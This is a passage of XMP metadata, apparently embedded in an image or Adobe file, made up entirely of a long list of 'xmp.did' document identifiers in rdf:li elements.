               <rdf:li>xmp.did:5F46B772AA41E1119382D619434A0AF9</rdf:li>
               <rdf:li>xmp.did:5F4BFDF37F1ADF119CB8E7D742FA3A25</rdf:li>
               <rdf:li>xmp.did:5F576EBB142068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:5F5A1398E1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:5F9422487DB0E111ACD6A84F7FE27FBC</rdf:li>
               <rdf:li>xmp.did:5FA8FEC2ACB5DF1192D7852C362C89E0</rdf:li>
               <rdf:li>xmp.did:5FB24B6A67E811DF98D1BEA7C517AF65</rdf:li>
               <rdf:li>xmp.did:5FEEDD35167FDF118C9DEA7E5DD15640</rdf:li>
               <rdf:li>xmp.did:5FF5D9BCE37611DF9930AAA581E11823</rdf:li>
               <rdf:li>xmp.did:6024D31D482068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:603B2374072068118A6D955A576403A1</rdf:li>
               <rdf:li>xmp.did:60640A5C5826E01182CAD38ECEDCE268</rdf:li>
               <rdf:li>xmp.did:606C74CBFCE1DE118941DD31A2ACB567</rdf:li>
               <rdf:li>xmp.did:6075376DB867E211BE2BD43435C89E79</rdf:li>
               <rdf:li>xmp.did:6077B81235BEE0118BB3982B8A6B21C0</rdf:li>
               <rdf:li>xmp.did:610079D829206811B1A4D56600D919C7</rdf:li>
               <rdf:li>xmp.did:611032FABB87E011B710DD0532D7B522</rdf:li>
               <rdf:li>xmp.did:613A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:619CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:61DB0138A2AEE0118721BEFE703CEC3B</rdf:li>
               <rdf:li>xmp.did:61FAF3402A69E1119160E45FA1DB44C5</rdf:li>
               <rdf:li>xmp.did:62425DE91D2068118A6DACAAA4DD6020</rdf:li>
               <rdf:li>xmp.did:625A1398E1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:625F8D71448C11E1AB60958DF2C0DC4C</rdf:li>
               <rdf:li>xmp.did:629445197ED5E111AD8ABD1E06C4F5E8</rdf:li>
               <rdf:li>xmp.did:62B36185945DE111970FB66F90545574</rdf:li>
               <rdf:li>xmp.did:62BC874C726211E0AC8EF22AFBE4284A</rdf:li>
               <rdf:li>xmp.did:62D01CE14BF911E0A0A08DC280149321</rdf:li>
               <rdf:li>xmp.did:62DF245D8820681192B0EAB1647D09C9</rdf:li>
               <rdf:li>xmp.did:62FEB08D2023E0118876A60A3B376994</rdf:li>
               <rdf:li>xmp.did:6301DD1F50D1E01186B79C1FF0B46A09</rdf:li>
               <rdf:li>xmp.did:632424910382DF11982BEF51EBA56B3D</rdf:li>
               <rdf:li>xmp.did:63266CCE4991E0119C569B7127E744F1</rdf:li>
               <rdf:li>xmp.did:633A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:634A68AE14D3DF11A3F4945B73FF125F</rdf:li>
               <rdf:li>xmp.did:634FE106FDAADF1196BFAB2AECFE2FA1</rdf:li>
               <rdf:li>xmp.did:6370DCF3D912E21182C380803AEC3D47</rdf:li>
               <rdf:li>xmp.did:63791AF7D83CE011A175B57896315D4A</rdf:li>
               <rdf:li>xmp.did:638880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:6395943583CBDF11BAF5EC302DA3E9DF</rdf:li>
               <rdf:li>xmp.did:639B1DD297D5DF119648F8511B7417D3</rdf:li>
               <rdf:li>xmp.did:63AEF9105305E011867F89B0211E4F7A</rdf:li>
               <rdf:li>xmp.did:63B0EDDF7664E011AF04B639E63A2D00</rdf:li>
               <rdf:li>xmp.did:63B9DF027F206811871F80898A1CC3A1</rdf:li>
               <rdf:li>xmp.did:63BE8315EEDADF119CF4EC4C735E4089</rdf:li>
               <rdf:li>xmp.did:640912E35E206811AFFDA1B78A3AA737</rdf:li>
               <rdf:li>xmp.did:641610FA4D1311E0A484E186B3184968</rdf:li>
               <rdf:li>xmp.did:6422B4C0FB56E11193F6DF0331594266</rdf:li>
               <rdf:li>xmp.did:643A266EBCABE011BCD38FC31FA36ACE</rdf:li>
               <rdf:li>xmp.did:6474C83C687CDF118E1F99D69B3525CC</rdf:li>
               <rdf:li>xmp.did:647F1DD60621681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:6481FDAF21216811A613FACC98434A0A</rdf:li>
               <rdf:li>xmp.did:648880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:648DD082E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:648DD086E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:6494CD194F206811871FCD2199AD167E</rdf:li>
               <rdf:li>xmp.did:649A39CFF0276811822796A9C74CE02D</rdf:li>
               <rdf:li>xmp.did:64A28825CA26681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:64C6C5C839CCDE118040C244BCAE0AC0</rdf:li>
               <rdf:li>xmp.did:6511D026972168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:6515EC6E98206811994C86814C2F3017</rdf:li>
               <rdf:li>xmp.did:653CE072082068118C1492EA0CBF3CBE</rdf:li>
               <rdf:li>xmp.did:653E4C94DD2068118F62D27A6BCE2F0B</rdf:li>
               <rdf:li>xmp.did:654E940A24D6DF11A7DEEBCD26CFA1AC</rdf:li>
               <rdf:li>xmp.did:6552BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6577DAA73B206811B8BF977E99478059</rdf:li>
               <rdf:li>xmp.did:658BF97C7920681194579C34371C13BF</rdf:li>
               <rdf:li>xmp.did:6590E6D4C020681198BEA0E5FFE8B6B5</rdf:li>
               <rdf:li>xmp.did:659CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:659F34731BCDDF1191BD97C1AE6A08AB</rdf:li>
               <rdf:li>xmp.did:65B248B6863FE0118C61C0DFB35C8D66</rdf:li>
               <rdf:li>xmp.did:65B96F46635CDF11B926940674C2538B</rdf:li>
               <rdf:li>xmp.did:65CF61081B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:65EEE594735FD911A15BFEC0ADDBAC3F</rdf:li>
               <rdf:li>xmp.did:661211A71D2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:661F516D6C73E1119A2480E1D5CB1E69</rdf:li>
               <rdf:li>xmp.did:662C851541206811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:6641B110402068118083EBEB5CDE0BFF</rdf:li>
               <rdf:li>xmp.did:664D5C459C7711E08A9C913C073A663E</rdf:li>
               <rdf:li>xmp.did:6652BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:66562D8A30206811822AF66E54970861</rdf:li>
               <rdf:li>xmp.did:6658E3CA2520681192B0B785C414D861</rdf:li>
               <rdf:li>xmp.did:665F7074072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:666E8AD78E68E211B497A6D88EC2FB84</rdf:li>
               <rdf:li>xmp.did:668880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:66A28825CA26681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:66BCB3B7EAB9E011AEBCBCB1E3A15768</rdf:li>
               <rdf:li>xmp.did:66C6B93F7DA211E09C77BF26023F02EC</rdf:li>
               <rdf:li>xmp.did:66C6B9437DA211E09C77BF26023F02EC</rdf:li>
               <rdf:li>xmp.did:66DDD6D801ABE1119071877A557E3206</rdf:li>
               <rdf:li>xmp.did:67253BB886B7E0119FA2A4FC997C0706</rdf:li>
               <rdf:li>xmp.did:6731D5D11AE6E11191BAA70780358616</rdf:li>
               <rdf:li>xmp.did:6742673B082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:6752BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6757A180C1B0E211A6CC999F13B74FE8</rdf:li>
               <rdf:li>xmp.did:6757DAFF4180E0118F15928882A1D72F</rdf:li>
               <rdf:li>xmp.did:675F7074072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:676A8DDB4E3011E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:676A8DDF4E3011E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:677714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:677E60494F2068118DBBE52260A278CD</rdf:li>
               <rdf:li>xmp.did:678880E80920681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:6798E185432068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:679CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:67A7D917E932E1119FFCF2EC4336CC35</rdf:li>
               <rdf:li>xmp.did:67F533B8FE23681195FEAA7B3841CB4F</rdf:li>
               <rdf:li>xmp.did:6800A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6826A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:68418D77B924681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:6848DC373B2068118004F623DF686F5A</rdf:li>
               <rdf:li>xmp.did:6852BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6859A8AA4C20681192B0C49A4A67C7CB</rdf:li>
               <rdf:li>xmp.did:688E066C4B206811963CF2F523F9A511</rdf:li>
               <rdf:li>xmp.did:689B1DD297D5DF119648F8511B7417D3</rdf:li>
               <rdf:li>xmp.did:68B001AB0F2068119109E168B83CB9C9</rdf:li>
               <rdf:li>xmp.did:68B043DC5C97E0119C8BA9F3169B0211</rdf:li>
               <rdf:li>xmp.did:68B6D084C824E1118636B042784FE210</rdf:li>
               <rdf:li>xmp.did:68C5AF68C762E011BE14E7236D0B5A50</rdf:li>
               <rdf:li>xmp.did:6902880EF794E111A696EA41B345D359</rdf:li>
               <rdf:li>xmp.did:690C8FAFBA2CE21186478093D7207038</rdf:li>
               <rdf:li>xmp.did:6926A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6931D5D11AE6E11191BAA70780358616</rdf:li>
               <rdf:li>xmp.did:6942673B082068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:6952BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6966F9529C23E011BDF9E30C5CFEECDF</rdf:li>
               <rdf:li>xmp.did:696C021B3FFBE111A117E71571655E16</rdf:li>
               <rdf:li>xmp.did:6988E28F0B276811AFFD8310599E7E7C</rdf:li>
               <rdf:li>xmp.did:699ACB349B01E011AE09AB7DED4BA7BA</rdf:li>
               <rdf:li>xmp.did:699CBBD4A94B68118083C10ED7F6C25F</rdf:li>
               <rdf:li>xmp.did:69A1217ACDA4E0118A47F95ACDE595C5</rdf:li>
               <rdf:li>xmp.did:69B10C9822E8DF11B384ADA7A32699D7</rdf:li>
               <rdf:li>xmp.did:69B2F9191F20681194578A02E8C9B59B</rdf:li>
               <rdf:li>xmp.did:69D3304B192068119109B5CB68862886</rdf:li>
               <rdf:li>xmp.did:69D573D21A2068118C14F20FBF0152D7</rdf:li>
               <rdf:li>xmp.did:69EB434F302068119109B3CAEE51E0B6</rdf:li>
               <rdf:li>xmp.did:69F9774A84A5E111A6EBB99B80B212EA</rdf:li>
               <rdf:li>xmp.did:6A00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6A10A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:6A15AFA28B206811871F8DE1CBDF9EB0</rdf:li>
               <rdf:li>xmp.did:6A284E091A29681192B0D53FF790F85B</rdf:li>
               <rdf:li>xmp.did:6A459E625156E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:6A47007B82A4E011A4FEE67DFDD7FB36</rdf:li>
               <rdf:li>xmp.did:6A52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6A7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6A9E5D44615BDF11B2D1E76550196FF9</rdf:li>
               <rdf:li>xmp.did:6AD2DD1426CBDF119207FF631E313C1E</rdf:li>
               <rdf:li>xmp.did:6AE4DB37096FDF11BD60EAD4B082D434</rdf:li>
               <rdf:li>xmp.did:6B08A475072068118A6DFCE287DDF692</rdf:li>
               <rdf:li>xmp.did:6B09198207206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:6B1379CE787111DF95B49A2F564076CD</rdf:li>
               <rdf:li>xmp.did:6B1C56982D2068118DBBAF22E7F05724</rdf:li>
               <rdf:li>xmp.did:6B26A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6B43DD71B9D011DFA897EC2DD419EB70</rdf:li>
               <rdf:li>xmp.did:6B4CDF46122068118DBB92791FD53C0C</rdf:li>
               <rdf:li>xmp.did:6B52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6B9AFF6520DADF11AD2BCBF19C02F98C</rdf:li>
               <rdf:li>xmp.did:6BF830FD24A0DF11B00DECDA1C990E15</rdf:li>
               <rdf:li>xmp.did:6C00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6C10A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:6C1D4CFBD8C8DF118849E21764796AE8</rdf:li>
               <rdf:li>xmp.did:6C26A2747CF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6C4FB8A65620681195FEA93185EB8BBA</rdf:li>
               <rdf:li>xmp.did:6C52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6C5FF664FB8FE01185228094CDC8CBDD</rdf:li>
               <rdf:li>xmp.did:6C655B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:6C7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6C7D9E1E74B211E0A792FB6CA6498740</rdf:li>
               <rdf:li>xmp.did:6C84250939206811871FEE41CD930A52</rdf:li>
               <rdf:li>xmp.did:6CAA2255CF57E0118F61ABAA1281E4E0</rdf:li>
               <rdf:li>xmp.did:6CDE07D55E20681198E99BCF30868C79</rdf:li>
               <rdf:li>xmp.did:6CE0582A85F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6CF7F57A4588E0118E50D901036E7887</rdf:li>
               <rdf:li>xmp.did:6CFE15740720681188C684C5D3396C33</rdf:li>
               <rdf:li>xmp.did:6D093303D879E21182D29C2E386A6624</rdf:li>
               <rdf:li>xmp.did:6D3AE9F91820681188C6E3BB5694B611</rdf:li>
               <rdf:li>xmp.did:6D3C9015C7FD11E0AB4AC788DB624043</rdf:li>
               <rdf:li>xmp.did:6D4C1B58E52568119109818D5ECEA190</rdf:li>
               <rdf:li>xmp.did:6D52BFC708C6DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:6D67F274098DE11197F19D332460B8C5</rdf:li>
               <rdf:li>xmp.did:6D74647FE2F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:6D97F04C15206811AE56D5C2EFF83E18</rdf:li>
               <rdf:li>xmp.did:6DD0F167082068118A6DF6FE97EAF5F6</rdf:li>
               <rdf:li>xmp.did:6DE0582A85F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6DF8C62E0E2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:6E00A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:6E0684F8882D11DF94A7DAD892EF3257</rdf:li>
               <rdf:li>xmp.did:6E282DCA7F17E011B0739866E9AD0C81</rdf:li>
               <rdf:li>xmp.did:6E6780750B9CE0119771B91A3FE0545E</rdf:li>
               <rdf:li>xmp.did:6E6B1F2C98EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E6B1F3098EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E6B1F3498EE11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:6E7CD2CED77BE011A60BCDD5CBCAB985</rdf:li>
               <rdf:li>xmp.did:6E843CF8437011E088D29E4C0233231A</rdf:li>
               <rdf:li>xmp.did:6E9860BB27206811808389F08A331CD3</rdf:li>
               <rdf:li>xmp.did:6ED5E9CD6FC4DF11B75C9BE1D5B16EA3</rdf:li>
               <rdf:li>xmp.did:6EFAB19E8246E111A974861A88B3D67A</rdf:li>
               <rdf:li>xmp.did:6F0B94D9C2C4DF11A6D3C527EAC98032</rdf:li>
               <rdf:li>xmp.did:6F0D4B477DBFE01194A4D852F2BA19F5</rdf:li>
               <rdf:li>xmp.did:6F71F6EB1D2068118F62D4FE545D214D</rdf:li>
               <rdf:li>xmp.did:6F7714C184F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:6FA33447C124681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:6FA6728D7485E211BFF486AA8011B265</rdf:li>
               <rdf:li>xmp.did:6FAD2A5D0E20681188C6D9C4D0AF0270</rdf:li>
               <rdf:li>xmp.did:6FD5EA4F4D2DE0118D4EDB8E509E5254</rdf:li>
               <rdf:li>xmp.did:7000A4F08D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:705A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:705B30E088F611E083F782CBB1D50FB1</rdf:li>
               <rdf:li>xmp.did:7089C6CFC8B5DF11820885489254C0E7</rdf:li>
               <rdf:li>xmp.did:70A31406DF206811871F81E8BB0F82E6</rdf:li>
               <rdf:li>xmp.did:70C4E5B178D6E0119077E32A4C1A5516</rdf:li>
               <rdf:li>xmp.did:70C97C4E5749DF11A1AEFB5A864AA7E1</rdf:li>
               <rdf:li>xmp.did:70D3233031206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:70D66A196B64DF11B39BE2FACB6507A8</rdf:li>
               <rdf:li>xmp.did:710A7400A8EBE011B976D593E6469015</rdf:li>
               <rdf:li>xmp.did:711F44CBE92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:7125C99E1320681182FE98EF7F18BF1D</rdf:li>
               <rdf:li>xmp.did:715A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:7162A10113206811871FCD2199AD167E</rdf:li>
               <rdf:li>xmp.did:71747A3E3DC7E011B772C884E4792094</rdf:li>
               <rdf:li>xmp.did:7178548E489EDF1187848A377019B2B6</rdf:li>
               <rdf:li>xmp.did:71895AE3F42AE011AEB8849E07FFCB7A</rdf:li>
               <rdf:li>xmp.did:7192335FBAFB11DFB14683193FC4D135</rdf:li>
               <rdf:li>xmp.did:71D573D21A2068118C14F20FBF0152D7</rdf:li>
               <rdf:li>xmp.did:72096DA07221E111ACC78D1F54712258</rdf:li>
               <rdf:li>xmp.did:7210A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:723C111C508811E097A78CDC71EB349E</rdf:li>
               <rdf:li>xmp.did:723C1120508811E097A78CDC71EB349E</rdf:li>
               <rdf:li>xmp.did:729131241F6CDF118BE7E8579E18CF61</rdf:li>
               <rdf:li>xmp.did:729E0675072068118A6DFF0C5FE00A41</rdf:li>
               <rdf:li>xmp.did:729E7B4C132068119109C9CFB4CC2F3D</rdf:li>
               <rdf:li>xmp.did:72FD2966192068118DBB831B613A0071</rdf:li>
               <rdf:li>xmp.did:732AFF69282068119109FB43F0835315</rdf:li>
               <rdf:li>xmp.did:735A8075072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:7360C3BF8D206811B6999C6B4BE18F8F</rdf:li>
               <rdf:li>xmp.did:73655B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:7377BA613190DF11A2C69040FFE6437A</rdf:li>
               <rdf:li>xmp.did:739C08B21168DF11902C8FBBD6B34A4F</rdf:li>
               <rdf:li>xmp.did:739D7E9FEBADDF11AADEADA356222083</rdf:li>
               <rdf:li>xmp.did:73B57231C3E9E0119FC8E3CA42FCF1AC</rdf:li>
               <rdf:li>xmp.did:73C021F66F5DE011841CE93FD1995813</rdf:li>
               <rdf:li>xmp.did:73D1E80F51AAE11194E8EAA6090E4BC8</rdf:li>
               <rdf:li>xmp.did:73E41380AD206811822AE48E24892511</rdf:li>
               <rdf:li>xmp.did:73F3DBA87D2511DFB8DAA291B838EA94</rdf:li>
               <rdf:li>xmp.did:73F9C4285FFEDF1196FEEFF1E699BCF4</rdf:li>
               <rdf:li>xmp.did:7410A874072068118A6D893133BEF75C</rdf:li>
               <rdf:li>xmp.did:74117FCD20071168BB54F782791C10D3</rdf:li>
               <rdf:li>xmp.did:74117FCF20071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FCF20071168B5D4B3378E1A86A0</rdf:li>
               <rdf:li>xmp.did:74117FD120071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FD620071168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:74117FDA200711688968BA96E96E049F</rdf:li>
               <rdf:li>xmp.did:74117FE120071168BA3EFE1DFD381457</rdf:li>
               <rdf:li>xmp.did:74117FE720071168923FA35D1713A621</rdf:li>
               <rdf:li>xmp.did:74117FE920071168ADC9D619E50946F1</rdf:li>
               <rdf:li>xmp.did:74117FEF20071168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:74117FF720071168B4F2D4360359303D</rdf:li>
               <rdf:li>xmp.did:74150A7607206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:7437D61FD021681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:7441EDE607206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7446BB7607206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:745B3A8EEA2168118C14BC18E4CC532F</rdf:li>
               <rdf:li>xmp.did:749E9361DD3B11DF82CAFFB23D454B89</rdf:li>
               <rdf:li>xmp.did:74F33ECEDBBADE1191609FD758966D64</rdf:li>
               <rdf:li>xmp.did:758B8B6E727311E08850BB43EBB2619E</rdf:li>
               <rdf:li>xmp.did:75A75D1E08206811BEDCEC12B17E052F</rdf:li>
               <rdf:li>xmp.did:75DEDC25312468118B72DE2C6B104274</rdf:li>
               <rdf:li>xmp.did:7631A3109686E0119D98C2D90B3468EC</rdf:li>
               <rdf:li>xmp.did:766ED780872268119457DE7F1930A8E5</rdf:li>
               <rdf:li>xmp.did:76857F743F20681197A5E7B0831EA4A7</rdf:li>
               <rdf:li>xmp.did:76C3B18A12206811B34B9E3C14363DF8</rdf:li>
               <rdf:li>xmp.did:76EBAD40FF0D11DF88A496A994C67AC0</rdf:li>
               <rdf:li>xmp.did:7704F68522206811B840DB589BDF8BB3</rdf:li>
               <rdf:li>xmp.did:77058E810275DF1190AAD8563C512C0C</rdf:li>
               <rdf:li>xmp.did:775D9A049B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:775D9A089B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:777464D2EDEDDF1183C8AD1A3CE4A1DB</rdf:li>
               <rdf:li>xmp.did:777A8B8D2CCEDE11AC1FBF9D231E361F</rdf:li>
               <rdf:li>xmp.did:7790FA545749DF11A1AEFB5A864AA7E1</rdf:li>
               <rdf:li>xmp.did:77928EB9BE7F11E0B020A9730130AC6C</rdf:li>
               <rdf:li>xmp.did:77C21B6390D7E0119E02F80EFADF1446</rdf:li>
               <rdf:li>xmp.did:77CC0915A34A11E19B2CF47FA6A37ACA</rdf:li>
               <rdf:li>xmp.did:77DA1E7C262068118DBBCB7A4ABDEE9B</rdf:li>
               <rdf:li>xmp.did:77DC1D9E082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:77FBAEA09225E01191498E3664FFA8E4</rdf:li>
               <rdf:li>xmp.did:77FCDCFF0C20681188C6C677A3826B0E</rdf:li>
               <rdf:li>xmp.did:78052B7EBC21681195FEFFA6ED9DEE31</rdf:li>
               <rdf:li>xmp.did:781428192CA4E111949CBF82BC307109</rdf:li>
               <rdf:li>xmp.did:787C5EF8342068118A6DFCCD72587E50</rdf:li>
               <rdf:li>xmp.did:788200B33261DF11B38F998875CC8654</rdf:li>
               <rdf:li>xmp.did:788AF58CDC9FDF118C00C3C968ABDC06</rdf:li>
               <rdf:li>xmp.did:789131241F6CDF118BE7E8579E18CF61</rdf:li>
               <rdf:li>xmp.did:78A49F989C2068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:78A801AD2056E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:78C21B6390D7E0119E02F80EFADF1446</rdf:li>
               <rdf:li>xmp.did:78D0D43D9182DF11B1D9924A8E8B1BC5</rdf:li>
               <rdf:li>xmp.did:78D53328D41CE1119679A47CE26EAB53</rdf:li>
               <rdf:li>xmp.did:7905B13A0E206811871FC0314F02A4F7</rdf:li>
               <rdf:li>xmp.did:791E35BB07206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7924A50DD8C811E1A6B4902EED7D4DA4</rdf:li>
               <rdf:li>xmp.did:7925336F792068118F62FB2F86618C29</rdf:li>
               <rdf:li>xmp.did:793AE5F91840DF11AEF7B4966E6B8813</rdf:li>
               <rdf:li>xmp.did:79754172E3AAE1119559BF9A11B91512</rdf:li>
               <rdf:li>xmp.did:79796737F6A7E111AFD3EFEE417D4C00</rdf:li>
               <rdf:li>xmp.did:797ADC75072068118A6DCDECC596EB6E</rdf:li>
               <rdf:li>xmp.did:79A4BA10E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:79A4BA14E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:79ADB853F3206811871FC8D7DC3AB467</rdf:li>
               <rdf:li>xmp.did:7A16B75511206811A7BA846FD2D9A224</rdf:li>
               <rdf:li>xmp.did:7A2B1ED8472BE11195C4A18E0D70B4DB</rdf:li>
               <rdf:li>xmp.did:7A3CC4A2972CE111A231AFC516971A8A</rdf:li>
               <rdf:li>xmp.did:7A7744FB63D511E0AABFC58C3D25E939</rdf:li>
               <rdf:li>xmp.did:7A7A501C1F206811871FE0E4CB6C52AC</rdf:li>
               <rdf:li>xmp.did:7AC6D569B9FDDF11A02AEE8AF07A2850</rdf:li>
               <rdf:li>xmp.did:7AC6FDDD3E236811A9618E6B5A2E8B49</rdf:li>
               <rdf:li>xmp.did:7ACE8BF614206811AFFDE23F1424EB30</rdf:li>
               <rdf:li>xmp.did:7B043B7D7321E0119D96D946FB4715F7</rdf:li>
               <rdf:li>xmp.did:7B29C0F54820681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:7B45408C9E20681187EA9809E389FD3A</rdf:li>
               <rdf:li>xmp.did:7B62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:7B679B9307206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:7B76D92E46206811BD35BECC5D08EE57</rdf:li>
               <rdf:li>xmp.did:7BB6D8FA0F206811A613A012998A47A8</rdf:li>
               <rdf:li>xmp.did:7BD2A7176C34E01183C188C0B0DA4CAA</rdf:li>
               <rdf:li>xmp.did:7BE16252F17FE011A6D9D3953F107786</rdf:li>
               <rdf:li>xmp.did:7C07D8DC8E79DF11B8DDA0E346A0AACF</rdf:li>
               <rdf:li>xmp.did:7C30CE137B216811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:7C6F110A13F4E0119A97C6F5F7FD5B9F</rdf:li>
               <rdf:li>xmp.did:7C8DC490E0226811871FAFE2B6937D3F</rdf:li>
               <rdf:li>xmp.did:7CA801AD2056E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:7CB161485F206811BCDBFE5E98BB96A5</rdf:li>
               <rdf:li>xmp.did:7CC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7CD157651A206811B82FAD2229F639D0</rdf:li>
               <rdf:li>xmp.did:7CE9741F22206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:7CF175EED990E011A82BB1BA30D69293</rdf:li>
               <rdf:li>xmp.did:7D4E139D1885E011BD3DE9624629426F</rdf:li>
               <rdf:li>xmp.did:7D5E1B8AEAEFDF118A9DAF75AAD34E89</rdf:li>
               <rdf:li>xmp.did:7D62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:7DC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7E02E44E535FE011ADB4C951F69C3540</rdf:li>
               <rdf:li>xmp.did:7E189C083B2468118F62D645B52694F8</rdf:li>
               <rdf:li>xmp.did:7E63932DE206E2118981A5817710C101</rdf:li>
               <rdf:li>xmp.did:7EB17AB71120681197A5A7582C19A1FC</rdf:li>
               <rdf:li>xmp.did:7EC5C263A87EDF119350B6CE2787077B</rdf:li>
               <rdf:li>xmp.did:7ED765559EA8E1119401F15FC606D9C7</rdf:li>
               <rdf:li>xmp.did:7EE16252F17FE011A6D9D3953F107786</rdf:li>
               <rdf:li>xmp.did:7F24C0CD08206811994CF1C7CBEFB674</rdf:li>
               <rdf:li>xmp.did:7F4BB1D83920681192B0F8F782183CC7</rdf:li>
               <rdf:li>xmp.did:7F62B2188E5EDF11995DC2BC3CE2A790</rdf:li>
